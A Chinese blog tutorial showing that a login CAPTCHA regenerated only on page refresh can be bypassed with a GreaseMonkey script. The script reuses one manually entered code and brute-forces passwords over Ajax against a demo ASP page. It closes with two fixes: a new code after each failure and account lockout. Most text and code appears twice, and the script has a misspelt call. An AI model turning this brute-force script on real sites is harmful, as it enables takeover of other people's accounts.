通常,為了增加暴力猜解網站用戶密碼的難度,我們會在網頁登錄框中增加一個驗證碼,驗證碼保存在服務器端,而客戶端則使用一張圖片顯示:
驗證碼在整個登錄過程表現為:用戶打開登錄頁面時,服務器產生一個驗證碼,點擊登錄后,跳轉到登錄頁面,服務器端檢查用戶輸入的驗證碼是否正確,若錯誤,跳回到登錄頁面,生成一個新驗證碼讓用戶再次輸入登錄。 注意,生成新驗證碼的條件是登錄頁面刷新了!
以前沒覺得這有什么問題,今天了解12306自動登錄腳本后,發現這問題太嚴重了,當使用GreaseMonkey時,簡直可以無視驗證碼的存在,原因是 借助GreaseMonkey可以在頁面使用Ajax提交表單進行登錄,這過程不會刷新登錄頁面,所以服務器不會生成新驗證碼,因而只要手工輸下驗證碼,腳本就可以不斷嘗試登錄進行猜解用戶名密碼!
1.GreaseMonkey自動登錄演示
為了減少代碼量,便於說明問題,下邊演示時驗證碼不轉為圖形,直接輸出Session,效果一樣,不影響結論。

驗證碼在整個登錄過程表現為:用戶打開登錄頁面時,服務器產生一個驗證碼,點擊登錄后,跳轉到登錄頁面,服務器端檢查用戶輸入的驗證碼是否正確,若錯誤,跳回到登錄頁面,生成一個新驗證碼讓用戶再次輸入登錄。 注意,生成新驗證碼的條件是登錄頁面刷新了!
以前沒覺得這有什么問題,今天了解12306自動登錄腳本后,發現這問題太嚴重了,當使用GreaseMonkey時,簡直可以無視驗證碼的存在,原因是 借助GreaseMonkey可以在頁面使用Ajax提交表單進行登錄,這過程不會刷新登錄頁面,所以服務器不會生成新驗證碼,因而只要手工輸下驗證碼,腳本就可以不斷嘗試登錄進行猜解用戶名密碼!
1.GreaseMonkey自動登錄演示
為了減少代碼量,便於說明問題,下邊演示時驗證碼不轉為圖形,直接輸出Session,效果一樣,不影響結論。
Default.asp:
View Code

<%@LANGUAGE=
"
VBSCRIPT
" CODEPAGE=
"
65001
"%>
<!DOCTYPE html PUBLIC " -//W3C//DTD XHTML 1.0 Transitional//EN " " http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd ">
<html xmlns= " http://www.w3.org/1999/xhtml ">
<head>
<meta http-equiv= " Content-Type " content= " text/html; charset=utf-8 " />
<title>登錄演示</title>
</head>
<body>
<%
Randomize
SESSION( " passCode ") = Int( 8999* Rnd+ 1000) ' 生成驗證碼
%>
<form id= " form1 " name= " form1 " method= " post " action= " Login.asp ">
用戶名:<input type= " text " name= " txtUsn " id= " txtUsn " /><br />
密碼:<input type= " text " name= " txtUsp " id= " txtUsp " /><br />
驗證碼:<input type= " text " name= " txtPassCode " id= " txtPassCode " /><%=SESSION( " passCode ")%> <br />
<input type= " submit " name= " btn1 " id= " btn1 " value= " 提交 " />
</form>
</body>
</html>
<!DOCTYPE html PUBLIC " -//W3C//DTD XHTML 1.0 Transitional//EN " " http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd ">
<html xmlns= " http://www.w3.org/1999/xhtml ">
<head>
<meta http-equiv= " Content-Type " content= " text/html; charset=utf-8 " />
<title>登錄演示</title>
</head>
<body>
<%
Randomize
SESSION( " passCode ") = Int( 8999* Rnd+ 1000) ' 生成驗證碼
%>
<form id= " form1 " name= " form1 " method= " post " action= " Login.asp ">
用戶名:<input type= " text " name= " txtUsn " id= " txtUsn " /><br />
密碼:<input type= " text " name= " txtUsp " id= " txtUsp " /><br />
驗證碼:<input type= " text " name= " txtPassCode " id= " txtPassCode " /><%=SESSION( " passCode ")%> <br />
<input type= " submit " name= " btn1 " id= " btn1 " value= " 提交 " />
</form>
</body>
</html>
Login.asp:
View Code

<%
Response.Charset = " utf-8 "
Dim usn, usp, code, msg
usn = Request.Form( " txtUsn ")
usp = Request.Form( " txtUsp ")
code = Request.Form( " txtPassCode ")
Response.Write(Login(usn, usp, code))
' 登錄函數
Function Login(usn, usp, code)
If SESSION( " Login ") = True Then
Login = " 登錄成功. "
Else
If usn<> "" And usp<> "" Then
If code<> CStr(SESSION( " passCode ")) Then
Login = " 驗證碼出錯,請重新輸入. "
Exit Function
End If
If usn= " admin " And usp= " admin888 " Then
SESSION( " Login ") = True
Login = " 登錄成功. "
Else
Login = " 用戶名或密碼出錯,請重新輸入. "
End If
Else
Login = " 用戶未登錄. "
End If
End If
End Function
%>
Response.Charset = " utf-8 "
Dim usn, usp, code, msg
usn = Request.Form( " txtUsn ")
usp = Request.Form( " txtUsp ")
code = Request.Form( " txtPassCode ")
Response.Write(Login(usn, usp, code))
' 登錄函數
Function Login(usn, usp, code)
If SESSION( " Login ") = True Then
Login = " 登錄成功. "
Else
If usn<> "" And usp<> "" Then
If code<> CStr(SESSION( " passCode ")) Then
Login = " 驗證碼出錯,請重新輸入. "
Exit Function
End If
If usn= " admin " And usp= " admin888 " Then
SESSION( " Login ") = True
Login = " 登錄成功. "
Else
Login = " 用戶名或密碼出錯,請重新輸入. "
End If
Else
Login = " 用戶未登錄. "
End If
End If
End Function
%>
GreaseMonkey腳本:
View Code

//
==UserScript==
// @name 自動登錄
// @namespace com.mzwu
// @include http://localhost/default.asp
// @require https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js
// ==/UserScript==
if( typeof($) != "undefined")
{
$("body").append("<input type=\"button\" name=\"btn2\" id=\"btn2\" value=\"登錄測試\" />");
$("#btn2").click( function(){
var usn = "admin";
var usp = "";
var code = $("#txtPassCode").val();
var responseText = "";
var i = 0;
while(responseText.indexOf("登錄成功") == -1)
{
usp = "admin88" + (++i); // 猜解密碼
$.ajax({
type : "POST",
url : "Login.asp?r=" + Math.random(),
data : "txtUsn=" + usn + "&txtUsp=" + usp + "&txtPassCode=" + code,
async: false,
success : function(msg){
responseText = msg;
if(responseText.indexOf("登錄成功") != -1)
{
alert("登錄成功.嘗試次數:" + i);
location.href = "Login.asp";
}
}
});
}
});
clearInteval(timer);
}
// @name 自動登錄
// @namespace com.mzwu
// @include http://localhost/default.asp
// @require https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js
// ==/UserScript==
if( typeof($) != "undefined")
{
$("body").append("<input type=\"button\" name=\"btn2\" id=\"btn2\" value=\"登錄測試\" />");
$("#btn2").click( function(){
var usn = "admin";
var usp = "";
var code = $("#txtPassCode").val();
var responseText = "";
var i = 0;
while(responseText.indexOf("登錄成功") == -1)
{
usp = "admin88" + (++i); // 猜解密碼
$.ajax({
type : "POST",
url : "Login.asp?r=" + Math.random(),
data : "txtUsn=" + usn + "&txtUsp=" + usp + "&txtPassCode=" + code,
async: false,
success : function(msg){
responseText = msg;
if(responseText.indexOf("登錄成功") != -1)
{
alert("登錄成功.嘗試次數:" + i);
location.href = "Login.asp";
}
}
});
}
});
clearInteval(timer);
}
測試結果:
2.解決方法
提供兩種解決方法供參考:
方法一:當驗證登錄用戶名或密碼出錯時,服務器端強制生成新驗證碼;
方法二:當嘗試登錄5次失敗時,將帳戶鎖定一段時間不能登錄;
3.參考資料
[1].Firefox擴展Greasemonkey使用示例: http://www.mzwu.com/article.asp?id=3091